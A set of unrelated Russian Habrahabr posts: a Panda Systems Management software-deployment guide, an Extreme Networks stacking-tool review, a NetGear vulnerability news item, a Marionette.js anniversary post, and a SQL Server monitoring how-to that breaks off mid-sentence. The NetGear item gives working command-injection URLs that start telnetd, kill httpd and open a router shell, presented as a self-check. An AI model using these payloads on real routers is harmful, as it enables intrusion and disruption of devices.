сайт (проект) в разделе Sites , после чего в левой колонке в блоке Sites Devices Filters нажмите на значок с плюсиком, чтобы добавить требуемый фильтр: В результате этого откроется окно для добавления фильтра устройств, в котором необходимо указать название фильтра, критерии отбора (Software package, Does not contain, Microsoft .NET Framework 4) и нажать кнопку Save : Теперь в блоке Sites Devices Filters добавился настроенный фильтр, при нажатии на который Вы сможете получить список устройств, удовлетворяющих критериям отбора. Кстати, иногда при указании названия пакета ПО в критериях фильтра, необходимо точно знать, какая идентификационная строка соответствует этому пакету (особенно в случае с каким-нибудь специфическим ПО). В этом случае необходимо будет в списке устройств найти устройство (можно также используя различные фильтры), на котором данный пакет уже установлен, открыть это устройство из списка, выбрать закладку Audit и включить опцию Software . Шаг 2. Создайте компонент для установки ПО Это можно сделать достаточно легко: в консоли управления в основном меню выберите раздел Components , нажмите кнопку New component . В результате этого откроется окно для добавления компонента. В списке Category необходимо выбрать Applications . Укажите имя компонента и его краткое описание (при необходимости) и нажмите кнопку Save . После этого Вы сразу увидите окно с редактированием параметров данного компонента. В этом окне необходимо выполнить следующие изменения: • В левом верхнем углу можно нажать на звездочку, чтобы добавить этот компонент в избранное. В этом случае иконка звездочки станет желтой, а сам компонент появится в списке компонентов. • Укажите используемый язык скриптов, выбрав соответствующее значение в списке Install command . В данном случае стоит значение Batch . • Вставьте код скрипта. • Добавьте файл с пакетом, который требуется установить. В данном скрипте по сути дела одна строка, в которой запускается установочный пакет с соответствующими параметрами для скрытой установки. Шаг 3. Запустите задачу для развертывания пакета ПО на агентах требуемых устройств В этом случае Вам необходимо будет снова открыть свой сайт (проект), в левой колонке в блоке Sites Devices Filters нажать на созданный ранее фильтр, чтобы получить список требуемых устройств, куда необходимо установить пакет. Затем в этом списке выберите требуемые устройства (а скорее всего, все устройства) и в панели действий нажмите на кнопку для быстрого запуска задачи (при необходимости можно и запланировать выполнение данной задачи на определенное время, нажав на кнопку, расположенную левее от данной кнопки). В результате этого откроется окно, в котором Вам необходимо выбрать требуемый компонент и нажать кнопку OK . Шаг 4. Проверьте результаты для выявления возможных проблем Проверить результат можно в разделе Scheduled Jobs -> Completed Jobs . Также хороший способ проверить результаты установки – это снова запустить предварительно настроенный фильтр устройств, чтобы убедиться в том, что более не осталось ни одного устройства с неустановленным ПО. В том же случае, если какие-то устройства окажутся в данном списке устройств, то по ним можно будет проверить наличие ошибки установки. Данные аудита ПО, установленного на устройствах, синхронизируются с консолью управления каждые 24 часа, поэтому если с момента установки ПО еще не прошли сутки, то список установленного ПО на закладке Audit не будет обновлен. Однако можно вручную обновить список установленного ПО, используя кнопку Request device audit в панели действий. Пример 2. Внедрение ПО без инсталлятора Многие программы содержат простой исполняемый файл без соответствующего инсталлятора, который генерирует необходимую структуру в меню Пуск, иконки на рабочем столе или соответствующие записи в списке установленных на компьютере программ (например, в Панели управления – Программы и компоненты). Такие типы программ могут быть установлены, например, просто запуском этого исполняемого файла. Однако, в таком случае Panda Systems Management не сможет предоставлять корректный аудит установленного на ПК программ, т.к. такие программы не будут появляться в списке установленных программ, хранящемся в операционной системе устройства. По этой причине часто используются сторонние утилиты, которые позволяют генерировать MSI-пакет со всеми добавляемыми программами, создавая все необходимые группы в меню Пуск, а также иконки на рабочем столе пользователя для упрощения доступа к программе. В нашем примере мы будем использовать утилиту Advanced Installer , бесплатная версия которой позволяет нам легко генерировать MSI-инсталляторы. Чтобы скачать бесплатную версию Advanced Installer, посетите страницу Чтобы сгенерировать инсталлятор, выполните следующие действия: 1. Установите эту утилиту на свой ПК, запустите ее и выберите бесплатный шаблон Simple 2. В разделе Product Details введите основные данные инсталлятора: Product Name (название продукта), Product Version (версия продукта) и Company Name (название компании) 3. Добавьте программы и файлы, которые необходимо установить, а также иконки, которые необходимо создать. Это можно сделать на закладке Files and Folders . 4. В завершение этого процесса, нажмите Build , после чего в выбранную папку будет сгенерирован MS-пакет: После того как установочный пакет будет сгенерирован, необходимо выполнить те же самые шаги по созданию компонента для установки и его развертыванию, как это было описано в примере выше (Внедрение самоустанавливающегося ПО), за исключением скрипта Batch, т.к. в данном случае команда для установки будет немного отличаться. Утилита MSIEXEC позволяет использовать параметр /qn для запуска скрытой установки. При создании компонента (смотрите порядок создания в предыдущем примере) в списке Category необходимо выбрать Applications . В окне редактирования компонента выполните следующие действия: • В левом верхнем углу нажмите на звездочку, чтобы добавить этот компонент в избранное. В этом случае иконка звездочки станет желтой, а сам компонент появится в списке компонентов. • Укажите используемый язык скриптов, выбрав соответствующее значение в списке Install command . В данном случае стоит значение Batch . • Вставьте код скрипта с указанием на утилиту MSIEXEC, запускающей сгенерированный MSI-пакет (в нашем примере – это файл My Software.msi ) • Добавьте файл с пакетом My Software.msi , который требуется установить. Пример 3. Внедрение документов и файлов с использованием языка скриптов В этом примере нам необходимо внедрить три документа Word в папку, расположенной в корневой директории устройства пользователя. Полный код скрипта можно посмотреть в этом файле . Итак, для решения поставленной задачи необходимо выполнить следующие действия: Шаг 1. Выберите устройства, на которые необходимо установить пакет Т.к. в этом примере Panda Systems Management не может отслеживать состояние жесткого диска на устройстве пользователя на уровне системных файлов, то установочный скрипт будет разворачиваться на всех устройствах сайта, при этом скрипт (строки 19-24) будет проверять, существует ли папка, содержащие документы, или нет. Если папка не существует, то она будет создана (строка 28), после чего документы будут перемещены в нее (строки 30-32), а сообщение будет отправлено через стандартный «выход» (строка 37). Шаг 2. Создайте компонент для установки ПО Как всегда, на этом шаге необходимо создать компонент приложений, для которого необходимо указать скрипт и привязать эти три документа Word. В блоке Post-Conditions Вы можете указать текстовые строки, которые консоль управления будет интерпретировать как предупреждение: Пример показывает, что если стандартный выход ( Resource: stdout ) содержит ( Qualifier: is found in ), то результат выполнения скрипта Deploy unsuccessful будет отображаться как предупреждение. Шаг 3. Запустите задачу для развертывания пакета ПО на агентах требуемых устройств В консоли управления у требуемого сайта (проекта) выберите в списке устройств те устройства, на которые необходимо внедрить эти три документа Word, после чего в панели действий нажмите на иконку Quick job или Job , чтобы создать соответствующую задачу. Если необходимо внедрить документы на всех компьютерах в разных сайтах (проектах), то Вы можете выбрать эти сайты на уровне Вашего аккаунта в консоли управления Panda Systems Management. Шаг 4. Проверьте результаты для выявления возможных проблем В нашем примере у скрипта определены три выходных условия: • Success : Файлы копируются в требуемую папку без каких-либо ошибок (строки 30-32). Заканчивается с ErrorLevel0 (строка 38). • Error : При копировании файлов возникает ошибка. Заканчивается с ErrorLevel1 (строка 35). • Success — Warning : Папка уже существует, поэтому файлы не скопированы. Заканчивается с ErrorLevel0 (строка 23) и генерируется строка Deploy unsuccessful , которую консоль управления интерпретирует как предупреждение, что было настроено в блоке Post-Conditions на шаге 3. После того как задача запущена, она появится в разделе Scheduled Jobs -> Active Jobs . На закладке Completed Jobs Вы сможете увидеть результат выполнения задачи, который будет помечен красным цветом, если результат содержит ошибку, оранжевый – если имеется предупреждение, или зеленый – если задача успешно выполнена. Иконки Stdout и Stderror показывают копию стандартного выхода и стандартной ошибки, генерируемые скриптом. Кроме этого, данная закладка содержит панель иконок , которая позволяет запускать различные действия: • Набор иконок Actions группирует иконки, которые позволяют Вам повторно запустить задачу, перезагрузить страницу, чтобы обновить статус задач, или скачать стандартный выход или ошибку в файл • Фильтр Views позволяет Вам фильтровать задачи по статусу   Пример 4. Внедрение документов и файлов без использования языка скриптов Установочный скрипт можно значительно упростить, если не требуются предварительные проверки или если не требуется генерировать предупреждения в консоли управления. В данном примере необходимо внедрить 3 документа, которые использовались в предыдущем примере, но в этом примере, вместо создания структуры папки из самого скрипта, создан самораспаковывающийся EXE-пакет, который содержит заархивированные документы и необходимую структуру папок. Данный EXE-пакет может быть создан с использованием различных утилит, например, WinRar. Чтобы скачать бесплатную версию WinRar, перейдите на сайт В этом примере был создан самораспаковывающийся EXE-файл со следующими характеристиками: • Работает в скрытом режиме (Silent). • Требуемая папка с контентом автоматически создается в C:\. • Если папка уже существует, ее контент будет перезаписан без предупреждения. Важно создать самораспаковывающийся файл, который работает в скрытом режиме, т.е. он не будет показывать диалоговых окон и не потребует вмешательства со стороны пользователя . На всякий случай давайте рассмотрим шаги по созданию самораспаковывающегося установочного файла с помощью WinRar. Шаг 1: Подготовьте папку с документами, которые необходимо внедрить. Создайте корневую папку ACME Documents, в которую положите все файлы, папки и подпапки, которые необходимо внедрить. Шаг 2: Сгенерируйте исполняемый файл. В программе WinRar при создании архива ACME Documents на закладке Общие включите опции Создать SFX-архив и Создать непрерывный архив . Теперь необходимо настроить архив в скрытом режиме. Для этого перейдите на закладку Дополнительно и нажмите кнопку Параметры SFX … В окне Дополнительные параметры SFX выберите закладку Режимы и в блоке Режим вывода информации выберите опцию Скрыть все . В этом же окне выберите закладку Общие и укажите путь для распаковки, где должна быть создана папка. И еще выберите закладку Обновление , в которой необходимо указать, что все файлы, если они уже существуют на ПК, будут перезаписываться без дополнительных запросов к пользователю. После этого нажмите кнопку ОК . В результате этого будет создан EXE-пакет ( ACME Documents.exe ) с требуемыми параметрами. После генерации пакета необходимо выполнить уже все стандартные шаги по выбору устройств, созданию компонента, запуску задачи и проверки результатов ее выполнения. Обратите внимание на параметры, которые необходимо использовать при создании компонента: При создании компонента (смотрите порядок создания в предыдущих примерах) в списке Category необходимо выбрать Applications . В окне редактирования компонента выполните следующие действия: • В левом верхнем углу нажмите на звездочку, чтобы добавить этот компонент в избранное. В этом случае иконка звездочки станет желтой, а сам компонент появится в списке компонентов. • Укажите используемый язык скриптов, выбрав соответствующее значение в списке Install command . В данном случае стоит значение Batch . • Вставьте код скрипта • Добавьте файл с пакетом ACME Documents.exe , который требуется внедрить. В результате этого скрипт будет запускать самораспаковывающийся архив, который будет создавать папку в корне диска C со всей внутренней структурой, перезаписывая любой существующий контент, если такая папка уже имеется.   Оптимизация полосы пропускания канала связи Локальный агент, установленный на каждом устройстве, проверяет сервер Panda Systems Management на доступные загрузки и обновления каждые 60 секунд. В том случае, если для локального агента имеется, что скачать или загрузить, то Panda Systems Management запускает эту загрузку индивидуально для каждого агента. В таком случае, если установочный пакет имеет размер 50 МБ, а сеть состоит из 50 устройств, то суммарный трафик при скачивании составит 2,5 ГБ. Чтобы снизить суммарный размер загружаемого трафика, одно из сетевых устройств может выполнять роль репозитория/кеша. В этом случае только данное устройство будет скачивать пакет с Сервера, а затем уже распространять его на все требуемые сетевые устройства. Чтобы выбранному устройству назначить роль репозитория/кеша, Вам необходимо найти данное устройство в консоли управления Panda Systems Management и на странице с подробной информацией по данному устройству в панели действий нажать на иконку Add/Remove as local cache . В результате, выбранное устройство будет скачивать и распространять компоненты и установочные пакеты на устройства в локальной сети, что позволит значительно ускорить процесс удаленной установки ПО и существенно снизить нагрузку на полосу пропускания канала связи. Удаленная установка ПО на устройства iOS Облачный RMM-сервис Panda Systems Management позволяет удаленно и централизованно устанавливать требуемое ПО на мобильные устройства (планшеты и смартфоны) под управлением iOS. В этом случае процедура установки отличается от вышеописанной процедуры, т.к. данные устройства имеют определенные ограничения, связанные с источником загрузки устанавливаемого ПО (Apple Store). Удаленная установка ПО на устройствах с Android пока не поддерживается. Требования для установки приложений на устройства с iOS Чтобы иметь возможность загружать приложения на устройства с iOS, Вам сперва необходимо загрузить из ComStore компонент Mobile Device Management . При этом не забудьте, что Вам необходимо будет загрузить Ваш сертификат Apple Push Notification. Как это сделать – мы писали в предыдущей статье по управлению мобильными устройствами . После этого Вы сможете добавить требуемые для внедрения приложения в список приложений Application List . Для этого в основном меню консоли управления выберите раздел ComStore и в левой колонке окна в блоке App Store нажмите на иконку с плюсиком для доступа к окну выбора приложений. В открывшемся окне Вам необходимо указать страну пользователя и ввести название приложения в текстовом поле. Нажмите кнопку Search для поиска приложений с указанием его названия, общего описания и стоимости. У требуемых приложений нажмите кнопку Add , чтобы добавить их в список приложений Application List . После этого выбранные компоненты появятся в списке компонентов мобильных приложений в разделе основного меню Components : Установка приложений iOS из списка приложений После того как Вы добавили требуемые приложения в список приложений, Вам необходимо будет создать политику управления ПО для внедрения их на устройства с iOS. Для этого в консоли управления откройте требуемый сайт (проект), профиль или весь аккаунт целиком, нажмите на закладку Manage , выберите опцию Software Management и нажмите кнопку New site policy … (или соответствующую кнопку, если выбран целиком аккаунт или профиль). В открывшемся окне укажите название политики и нажмите кнопку Next . Затем в окне редактирования политики выберите устройства, к которым необходимо применить данную политику, нажав на кнопку Add a target …, а также выберите приложения, которые не обходимо установить, нажав на кнопку Add an app …. После того как Вы добавили приложения, и в том случае, если какие-либо из них являются платными, нажмите на иконку с желтым карандашом у данного приложения, чтобы ввести соответствующий Redemption code. По окончании редактирования политики нажмите кнопку Save . После этого данная политика будет показываться в списке политик. Нажмите у нее кнопку Push changes , чтобы отправить настроенные приложения на выбранные в политике устройства. В том случае, если устройство с iOS выключено в тот момент, когда Вы нажали кнопку Push changes , то такое устройство появится в блоке Non-Compliant Devices . Чтобы данные изменения автоматически применились после того, как такое устройство снова станет доступным, нажмите зеленую иконку со стрелкой. Заключение В данной статье мы рассмотрели 4 стандартные ситуации удаленной и централизованной установки ПО (пакетов, файлов) на требуемых устройствах Windows, Linux, Mac, а также рассказали о том, как можно удаленно и централизованно устанавливать приложения на мобильные устройства с iOS. Для решения данных задач мы использовали облачный RMM-сервис Panda Systems Management. Причем мы рассмотрели достаточно простые случаи. Очевидно, что сценарии могут быть значительно сложнее. Например, установка требуемого образа ПО на новые устройства, плановая переустановка ПО при смене операционной системы, либо какие-то другие условия, которые могут как триггеры запускать соответствующие задачи на удаленную и централизованную установку ПО. Как видите, чем больше в ИТ-сети компьютеров и устройств, тем более незаменимым будет инструмент такой удаленной и централизованной установки. Он позволяет автоматизировать данную задачу и значительно сэкономить время ИТ-специалиста на внедрение ПО. Современные RMM-решения являются эффективными инструментами для решения подобных задач. И, кстати, еще очень многих других :) Добивайтесь большего, делая меньше!
https://habrahabr.ru/company/panda/blog/317390/
habrahabr
Обзор онлайн утилиты для просчета стекирования от Extreme Networks
['стекирование', 'маршрутизация', 'summit']
Extreme Networks недавно предоставил онлайн утилиту для просчета стекирования коммутаторов Summit. Найти ее можно по ссылке. Серия Summit имеет большое количество различных моделей, с разной...
Extreme Networks недавно предоставил онлайн утилиту для просчета стекирования коммутаторов Summit. Найти ее можно по ссылке . Серия Summit имеет большое количество различных моделей, с разной производительностью и возможностью применения разных технологий стекирования. Также в линейке периодически появляются новые модели. Для того, чтобы понять возможность совмещения разных моделей в один стек, нужно изучать большое количество документации. Инструмент EXOS stacking tool сделан для упрощения понимания возможностей и совместимости стекирования коммутаторов Extreme Networks Summit, и особенно удобен для людей, которые только начинают работать с данным производителем. EXOS stacking tool дает возможность: — построить стек, выбирая различные модели Summit, при этом проверяя их совместимость; — проверить, какие технологии стекирования совместимы и рекомендованы (SummitStack, -V, -V80, -V160, -V320); — проверить минимальные и максимальные версии EXOS, поддерживаемые стеком; — проверить теоретические пределы таблиц стека (MAC, ARP, LPM, multicast); — проверить предположительные stack master и backup; — получить доступ к информации о продуктах и другой информации, связанной со стеком. Далее – небольшой гайд по использованию этого инструмента. При первом входе в EXOS stacking tool мы видим пустые таблицы (Tables), пустые 8 слотов стека (Stack) и меню с возможностью выбора различных моделей коммутаторов (Switches). Чтобы начать работу, нужно: — выбрать коммутаторы из меню в левой части окна и перенести их в пустые слоты стека; — выбрать доступные технологии стекирования для портов S1 и S2, которые подсвечиваются разным цветом. В варианте ниже видно, что для трех разных моделей доступна технология SummitStack-V указана производительность стека (таблиц) по младшей модели Summit (хотя указаны и лимиты таблиц старшей модели), обозначены stack master и backup, которые выберутся автоматически, требуемые лицензии, а также указываются требуемые версии EXOS. Если есть возможность выбора нескольких технологий стекирования, то указывается предпочтительная (по производительности) и другие совместимые. При наведении курсора на определенную модель указывается краткая характеристика. Также есть небольшое меню, которое поможет очистить выбранные стек-порты, убрать коммутаторы – ноды стека, даст возможность сделать экспорт данной конфигурации стека (CSV или PDF) и получить помощь. При выборе помощи (Help) можно получить информацию о работе со Stacking Tool со ссылками на GTAC Knowledge Base, руководство по аппаратной части Summit Family Hardware Installation Guide, Релиз-Ноты максимальной и минимальной требуемой EXOS. Этот раздел также дает возможность оставить отзывы о работе утилиты, сообщить о найденных багах или оставить запрос на внедрение новых функциональных возможностей.
https://habrahabr.ru/company/muk/blog/317418/
habrahabr
Роутеры NetGear подвержены серьезной уязвимости
['security']
В некоторых моделях роутеров NetGear была обнаружена серьезная узвимость, которая позволяет злоумышленникам удаленно исполнять команды Linux на устройствах. Для эксплуатации уязвимости...
В некоторых моделях роутеров NetGear была обнаружена серьезная узвимость, которая позволяет злоумышленникам удаленно исполнять команды Linux на устройствах. Для эксплуатации уязвимости злоумышленники могут использовать специальным образом сформированный запрос к роутеру и отправить его через заранее подготовленную веб-страницу. NETGEAR has recently become aware of the security issue #582384 that allows unauthenticated web pages to pass form input directly to the command-line interface. A remote attacker can potentially inject arbitrary commands which are then executed by the system. Уязвимость достаточно проста в эксплуатации, для этого может использоваться следующая команда. http://[router_IP]/cgi-bin/;COMMAND Т. е. достаточно указать путь к директории cgi-bin на роутере и поставить после него точку с запятой, а затем указать требуемые для исполнения команды. Например, http://[router-address]/cgi-bin/;uname$IFS-a — для вывода информации о роутере http://[router-address]/cgi-bin/;telnetd$IFS-p$IFS’56789 — для запуска сервера telnet http://[router-address]/cgi-bin/;killall$IFS'httpd' — завершить процесс веб-сервера. Следующие модели роутеров NetGear подвержены данной уязвимости. NetGear AC1750-Smart WiFi Router (Model R6400) NetGear AC1900-Nighthawk Smart WiFi Router (Model R7000) NetGear AC2300-Nighthawk Smart WiFi Router with MU-MIMO (Model R7000P) NetGear AC2350-Nighthawk X4 AC 2350 Dual Band WiFi Router (Model R7500) NetGear AC2600-Nighthawk X4S Smart WiFi Gaming Router (Model R7800) NetGear AC3200-Nighthawk AC3200 Tri-Band WiFi Router (Model R8000) NetGear AC5300-AC5300 Nighthawk X8 Tri-Band WiFi Router (Model R8500) NetGear AD7200-Nighthawk X10 Smart WiFi Router (R9000) Для проверки уязвимости роутера можно воспользоваться следующими инструкциями (Windows). 1. Наберите в веб-браузере http://[router_IP]/cgi-bin/;telnetd$IFS-p$IFS’56789′, подставив вместо router_IP IP-адрес роутера. 2. Запустите командную строку (Win+R > cmd). 3. Наберите в командной строке следующую команду telnet [router_IP] 56789 , подставив вместо router_IP IP-адрес роутера. 4. В случае уязвимости роутера, т. е. в том случае, если первая команда была успешно выполнена на нем, вы получите приветственный экран командной оболочки роутера. В том случае, если будет показано сообщение об ошибке, прошивка роутера не является уязвимой. 5. В случае успешного выполнения первой команды, процесс сервера нужно завершить. Для этого следует вывести список всех процессов и выбрать из него нужный командой ps | grep telnet . 6. Затем нужно выполнить команду kill <process_id> , при этом заменив process_id на идентификатор процесса telnet, который был получен после выполнения предыдущей команды. Пользователям уязвимых версий роутеров следует дождаться выпуска соответствующего исправления и установить его. be secure.
https://habrahabr.ru/company/eset/blog/317420/
habrahabr
Marionette.js исполнилось 5 лет
['javascript', 'backbone.js', 'marionette.js', 'marionettejs', 'open source', 'джаваскрипт', 'перевод']
11 декабря 2016 Marionette.js исполняется 5 лет. Этот проект постепенно рос все эти годы. Его развивали сотни контрибьюторов, было создано сотни коммитов и десятки сотен проектов, которые...
11 декабря 2016 Marionette.js исполняется 5 лет. Этот проект постепенно рос все эти годы. Его развивали сотни контрибьюторов, было создано сотни коммитов и десятки сотен проектов, которые используют Marionette. Мы были инновационными и были устаревшими. Мы видели как новые фреймворки приходят и некоторые уходят. Мы, возможно, никогда уже не будем новыми и модными, но мы будем делать все возможное чтобы постоянно двигаться вперед. Почему Marionette.js? В начале 2013-го мне было дано задание найти решение для постоянно растущих сложностей в RoundingWell приложении, которое использовало PHP и jQuery. Дизайн постоянно требовал все больше и больше взаимодействий пользователей с приложением. Поддержка такого состояния приводила к созданию хрупкого и сложного для понимания кода. Я обратил взгляд на frontend библиотеки, чтобы найти решение, и после исследования многих ресурсов чувствовал себя с Marionette более комфортно. На то время он имел активное сообщество, сама библиотека выглядела достаточно маленькой и гибкой для взаимодействия с сервером. Откровенно говоря, команда RoundingWell училась на лету. Нам нужен был маленький API, который мы могли бы быстро понять, а возможность быстро читать и понимать исходный код была потрясающей. Мотивы, по которым люди выбирают Marionette сегодня, очень схожи. Для разработчиков, которые только знакомятся с javascript фреймворками это предоставляет чувство комфорта. Marionette имеет маленький и гибкий API, а кодовая база проста и легка в понимании. Интерактивный и дополняемый Новые разработчики, после года изучения чувствуют себя ужасно от постоянно растущего списка новых технологий, которые им возможно нужно знать. Они пытаются угнаться за новыми технологиями, которые популярны в сообществе, бросая то, что они уже знают. Стабильность воспринимается как стагнация и когда новые лучшие решения теоретизированы, текущие лучшие решения демонизируются. Если вы разрабатываете довольно зрелый javascript фреймворк с практически стабильным API, что вы должны делать когда кто-то представляет вам улучшения в виде решений, имплементированых в другом фреймворке? Вы можете бросить свой текущий проект и начать переписывать все с использованием нового решения, и как результат, это обязательно затронет всех вокруг — они будут вынуждены делать то же самое. Но, честно говоря, это нереально. Более прагматичным и конечно же менее захватывающим будет обнаружить то, что работает сейчас и применить интерактивные и прогрессивные изменения, которые приблизят к лучшему решению. Это важно когда пользователи и контрибьюторы двигаются нога в ногу. Marionette надеется улучшаться таким образом. Это может означать, что Marionette больше никогда не будет передовым, но также, что Marionette улучшается и вашему приложению не понадобится полный рефакторинг длительное время. Оглядываясь назад Наше путешествие не было идеальным. Я верю, что релиз Marionette v3 был амбициозным и изменил очень много вещей. Осуществленные изменения были хороши и очень нужны, но подготовка релиза заняла очень много времени. Конечно же нам нужна помощь всех, чтобы улучшить документацию и создать примеры, которые построены на третьей версии. Найти что-то свежее о третьей версии очень сложно, так как мы не уделили достаточно времени на создание новой информации и статей, а материалов о второй очень много. Это влияет на поиски. Вдобавок хочется сказать, если вы не пробовали новую версию — пожалуйста, сделайте это! Если вам нужна помощь — наше сообщество всегда с вами. Смотря вперед Смотря в 2017-й год, Marionette команда будет проводить маленькие релизы. Релизы новых версий в идеале будут в себе содержать маленькие и простые обновления, в то время как новые и захватывающие "фичи" будут релизиться в минорных версиях. Изменения, которые могут сломать логику ваших приложений, будут представляться в виде фича флагов или параллельно с существующей логикой. Разработчикам будет легко предугадать нововведения будущих релизов. Наша главная цель не изменилась. Marionette стремится быть доступным , с маленьким и понятным API. Мы хотим, чтобы наш код был легко читаемым с четкой структурой. Мы хотим, чтобы Marionette был интерактивным как в подходе к изменениям исходного кода так и в применении его на реальных проектах. Marionette останется гибким . Мы будем предлагать лучшие практики, но большинство архитектурных решений, которые применимы к тому или иному проекту, лежат на плечах самих разработчиков. Скорее всего самая важная цель — поддержка нашего сообщества. В нашем сообществе всегда была превосходная взаимоподдержка и поддержка в создании контента который улучшает окружение фреймворка. Спасибо. За следующие 5 лет! » Автор » Оригинал на блоге » Оригинал на medium » Репозиторий » Сайт
https://habrahabr.ru/post/317402/
habrahabr
Мониторинг Microsoft SQL Server «на коленке»
['ms sql server']
Когда я устроился на новую работу, передо мной была поставлена первая задача — разобраться, почему один из экземпляров SQL очень сильно нагружает диски. И предпринять необходимые действия для...
Когда я устроился на новую работу, передо мной была поставлена первая задача — разобраться, почему один из экземпляров SQL очень сильно нагружает диски. И предпринять необходимые действия для устранения этой ужасной проблемы. Я еще не сказал, что дисковый пул был всего один, и что при нагрузке на диски страдали все экземпляры сиквела? Так вот это было так. Что самое главное, как оказалось, мониторинг в лице Zabbix не собирал необходимые метрики, а на добавление оных нужно было заводить заявку и ждать. Ждать и смотреть, как «горит» дисковый массив. Или… Было решено отправить заявку в путешествие сквозь шестерни бюрократического механизма и делать свой, временный мониторинг. Для начала создадим БД и объекты, необходимые для сбора метрик производительности SQL-сервера. Для простоты, я не стал в скрипте указывать опции создания БД: create database monitor -- Создаем БД GO use monitor GO create table perf_counters -- Создаем таблицу, куда будем записывать данные по счетчикам ( collect_time datetime, counter_name nvarchar(128), value bigint ) GO CREATE CLUSTERED INDEX cidx_collect_time -- Индекс, чтобы потом было быстрее делать select ON perf_counters ( collect_time ) GO Значения счетчиков производительности будем забирать из системного представления sys.dm_os_performance_counters. В скрипте описаны самые популярные и жизненно необходимые счетчики, естественно, список можно расширить. Хотелось бы пояснить по поводу CASE'ов. Счетчики, которые измеряются в «что-то»/секунду — инкрементальные. Т.е. SQL сервер каждую секунду прибавляет текущее значение счетчика к уже имеющемуся. Чтобы получить среднее текущее значение нужно значение в представлении делить на аптайм сервера в секундах. Узнать аптайм можно запросом: select DATEDIFF(SS, (select create_date from sys.databases where name = 'tempdb'), getdate()) Т.е. найти разницу между текущим моментом и временем создания tempdb, которая, как известно, создается в момент старта сервера. Метрику Granted Workspace Memory (KB) сразу перевожу в мегабайты. Процесс сбора оформим в виде процедуры: CREATE procedure sp_insert_perf_counters AS insert into perf_counters select getdate() as Collect_time, Counter = CASE WHEN counter_name = 'Granted Workspace Memory (KB)' then 'Granted Workspace Memory (MB)' ELSE rtrim(counter_name) END, Value = CASE WHEN counter_name like '%/sec%' then cntr_value/DATEDIFF(SS, (select create_date from sys.databases where name = 'tempdb'), getdate()) WHEN counter_name like 'Granted Workspace Memory (KB)%' then cntr_value/1024 ELSE cntr_value END from sys.dm_os_performance_counters where counter_name = N'Checkpoint Pages/sec' or counter_name = N'Processes Blocked' or (counter_name = N'Lock Waits/sec' and instance_name = '_Total') or counter_name = N'User Connections' or counter_name = N'SQL Re-Compilations/sec' or counter_name = N'SQL Compilations/sec' or counter_name = 'Batch Requests/sec' or (counter_name = 'Page life expectancy' and object_name like '%Buffer Manager%') or counter_name = 'Granted Workspace Memory (KB)' GO Далее создадим процедуру, которая будет выбирать данные из нашей логовой таблицы. Параметры end и start задают временной интервал, за который мы хотим увидеть значения. Если параметры не заданы, выводить информацию за 3 последних часа. create procedure sp_select_perf_counters @start datetime = NULL, @end datetime = NULL as if @start is NULL set @start = dateadd(HH, -3, getdate()) if @end is NULL set @end = getdate() select collect_time, counter_name, value from monitor..perf_counters where collect_time >= @start and collect_time <= @end go Завернем sp_insert_perf_counters в задание SQL-агента. С частотой запуска — раз в минуту. Скрипт создания джоба я пропущу, чтобы не захламлять текст. В конце выложу все в виде одного скрипта. Забегая вперед, скажу что дело было в том числе и из-за банальной нехватки оперативной памяти, поэтому сразу приведу скрипт, позволяющий посмотреть «борьбу» БД за буфферный пул. Создадим табличку, куда будем складывать данные: CREATE TABLE BufferPoolLog( [collection_time] [datetime], [db_name] [nvarchar](128), [Size] [numeric](18, 6), [dirty_pages_size] [numeric](18, 6) ) Cоздадим процедуру, которая будет выводить использование буфферного пула каждой отдельной базой данных: CREATE procedure sp_insert_buffer_pool_log AS insert into Monitor.dbo.BufferPoolLog SELECT getdate() as collection_time, CASE WHEN database_id = 32767 THEN 'ResourceDB' ELSE DB_NAME(database_id) END as [db_name], (COUNT(*) * 8.0) / 1024 as Size, Sum(CASE WHEN (is_modified = 1) THEN 1 ELSE 0 END) * 8 / 1024 AS dirty_pages_size FROM sys.dm_os_buffer_descriptors GROUP BY database_id Грязные страницы = измененные страницы. Эту процедуру заворачиваем в джоб. Я поставил выполняться раз в три минуты. И создадим процедуру для селекта: CREATE procedure sp_select_buffer_pool_log @start datetime = NULL, @end datetime = NULL AS if @start is NULL set @start = dateadd(HH, -3, getdate()) if @end is NULL set @end = getdate() SELECT collection_time AS 'collection_time', db_name, Size AS 'size' FROM BufferPoolLog WHERE (collection_time>= @start And collection_time<= @end) ORDER BY collection_time, db_name Отлично, данные собираются, историческая база копится, осталось придумать удобный способ просмотра. И тут нам на помощь приходит старый добрый Excel. Я приведу пример для счетчиков производительности, а для использования буфферного пула можно будет настроить по аналогии. Открываем Excel, заходим в «Данные» — «Из других источников» — «Из Microsoft Query». Создаем новый источник данных: драйвер — SQL Server или ODBC для SQL Server или SQL Server native Client, нажимаем «связь» и прописываем свой сервер, выбираем нашу БД в параметрах, в пункте 4 выбираем любую таблицу (она нам не понадобится). Кликаем на наш созданный источник данных, нажимаем «Отмена» и на вопрос «Продолжить изменение запроса в Microsoft Query?» нажимаем «Да». Закрываем диалог «Добавление таблицы». Далее идем в «Файл» → «Выполнить запрос к SQL». Пишем exec sp_select_perf_counters . Нажимаем ОК, идем в «Файл» — «вернуть данные в Microsoft Excel». Выбираем, куда поместить результаты. Рекомендую оставить две строки сверху для параметров. Идем в «Данные» — «Подключения», заходим в свойства нашего подключения. Переходим на вкладку «Определение» и там, где текст команды пишем exec sp_select_perf_counters?,?.. Нажимаем ОК и Excel предлагает нам выбрать, из каких ячеек ему брать эти параметры. Указываем ему эти ячейки, ставим галки «использовать по умолчанию» и «автоматически обновлять при изменении ячейки». Лично я эти ячейки заполнил формулами: Параметр1 =ТДАТА()-3/24 (текущие дата и время минус 3 часа) Параметр2 =ТДАТА() (текущие дата и время) Далее кликаем на нашей таблице и идем в «Вставка» — «Сводная таблица» — «Сводная диаграмма». Настраиваем сводную таблицу: Поля легенды — counter_name, Поля осей — collect_time, Значения — value. Вуаля! Получаем графики метрик производительности. Рекомендую изменить тип диаграммы на «График». Осталась еще пара штришков. Переходим на страницу с нашими данными, опять заходим в свойства подключения и выставляем в «Обновлять каждые X мин» значение по желанию. Думаю, логично выставить частоту равную частоте выполнения задания на SQL сервере. Теперь данные в таблице обновляются автоматически. Осталось заставить обновляться график. Переходим во вкладку «разработчик» — «Visual Basic». Кликаем слева на лист с исходными данными и вписываем следующий код: Private Sub Worksheet_Change(ByVal Target As Range) Worksheets("Своднаятаблица").PivotTables("СводнаяТаблица1").PivotCache.Refresh End Sub Где, «Своднаятаблица» — имя листа со сводной таблицей. То имя, что указано в скобках в VB редакторе. «СводнаяТаблица1» — имя сводной таблицы. Можно посмотреть, кликнув на сводной таблице и зайдя в раздел «Параметры». Теперь наш график будет обновляться каждый раз, 